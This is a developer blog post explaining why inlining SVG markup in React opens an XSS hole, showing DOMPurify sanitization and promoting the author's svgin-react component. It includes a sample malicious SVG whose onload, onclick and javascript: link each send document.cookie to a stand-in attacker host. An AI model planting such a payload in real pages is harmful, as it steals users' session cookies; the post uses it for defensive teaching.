DEV Community

Akhil K
Akhil K

Posted on

How svgin-react renders SVGs as real, styleable elements without the XSS risk

Say you're fetching an SVG from somewhere you don't fully control. A CMS field, a user upload, an API response. Is it safe to render?

Most people never actually think about this until it bites them, because "SVG" sounds like an image format, not something that can run code.

The img tag is fine

<img src={cmsIconUrl} width={24} />
Enter fullscreen mode Exit fullscreen mode

This is safe. When a browser loads an SVG through img, it treats it purely as an image resource. No script tags run, no onload or onclick fires, nothing navigates. You can point this at genuinely untrusted content and nothing executes.

The problem is you can't style it. No fill: currentColor to pick up your theme, no hover states, no animating a path, no reaching into an inner circle with CSS. It's just a box as far as your stylesheet is concerned, even though the SVG underneath is literally just text.

Styling it means putting it in the DOM, and that's where things change

To actually style an SVG, the markup has to be real elements in the page, not a referenced image:

function Icon({ svg }) {
  return <div dangerouslySetInnerHTML={{ __html: svg }} />;
}
Enter fullscreen mode Exit fullscreen mode

The second you do this, all the safety from the img case is gone. This is now the same as dumping arbitrary HTML into your page. A totally normal-looking "icon" can carry:

<svg onload="fetch('https://evil.example/steal?c=' + document.cookie)">
  <rect onclick="fetch('https://evil.example/steal?c=' + document.cookie)" width="100" height="100" />
  <a href="javascript:fetch('https://evil.example/steal?c=' + document.cookie)">
    <text y="20">Click for details</text>
  </a>
</svg>
Enter fullscreen mode Exit fullscreen mode

onload fires the moment the SVG mounts. It's not tied to a page navigation, it fires the same way when the markup gets set via innerHTML, in every current browser. onclick and any other handler fire on interaction like they would anywhere else in the DOM. A javascript: URI runs when someone clicks through an a tag, same as regular HTML.

One thing that trips people up in the other direction: a plain script tag set via innerHTML or dangerouslySetInnerHTML will not run on its own. Browsers deliberately neuter script elements inserted that way. That's true, but don't treat it as a safety net. It only covers that one tag, it stops applying the moment the markup reaches the DOM through some other path, and it does nothing for the handlers and URIs above, which is the actual exposure. That's why sanitizers strip script anyway instead of relying on that quirk holding up forever.

Fixing it isn't hard, it's just easy to forget

Sanitize before anything touches the DOM. Strip script, strip event handler attributes, strip javascript:/data: URIs, keep the drawing instructions. DOMPurify already does this well and ships an SVG profile:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtySvg, { USE_PROFILES: { svg: true } });
Enter fullscreen mode Exit fullscreen mode

That's most of the actual fix. What's left is doing it every single time, on the client and on any server render path, without ever forgetting, which really just means it has to be the default behavior of whatever fetches and renders the SVG, not a step you have to remember.

That's why I built svgin-react. It's an SvgIn component that fetches an SVG, sanitizes it with DOMPurify by default, and renders a real element you can style, in client components and React Server Components alike.

import { SvgIn } from 'svgin-react';

<SvgIn src="/icons/alert.svg" width={24} fill="currentColor" />
Enter fullscreen mode Exit fullscreen mode

Worth being upfront about what's actually going on under the hood, since it's the same thing this whole post is about. SvgIn renders a real svg element in the DOM, not an img. It has to, that's the only way fill and className and CSS targeting work at all. So it's taking the exact path that needs sanitization to be safe, not the path that's safe by default. The reason it's still safe out of the box is that sanitization runs before render every single time, unconditionally, unless you explicitly opt out with disableSanitization or hand it your own sanitizeFn. Skip that and it's exactly as exposed as any other dangerouslySetInnerHTML. There's no magic here, just making sure the step that has to happen actually happens, every time, instead of depending on whoever's calling it to remember.

One detail that's easy to get wrong either way: animated SVGs still work. animate, animateTransform, and friends are timing and interpolation, not code, so they're allowed through. What gets stripped is onbegin/onend/onrepeat attributes on those elements, same rule as onclick and onload elsewhere in the SVG.

There's a live demo where you can load the "Malicious" example and watch exactly what gets stripped, or paste your own.

Whatever you end up using though, the actual rule doesn't change: if your SVG only ever goes through img src, you're fine. The second it needs to be inlined for styling, treat it exactly as carefully as you'd treat raw HTML from that same source. Because that's what it is.

Top comments (0)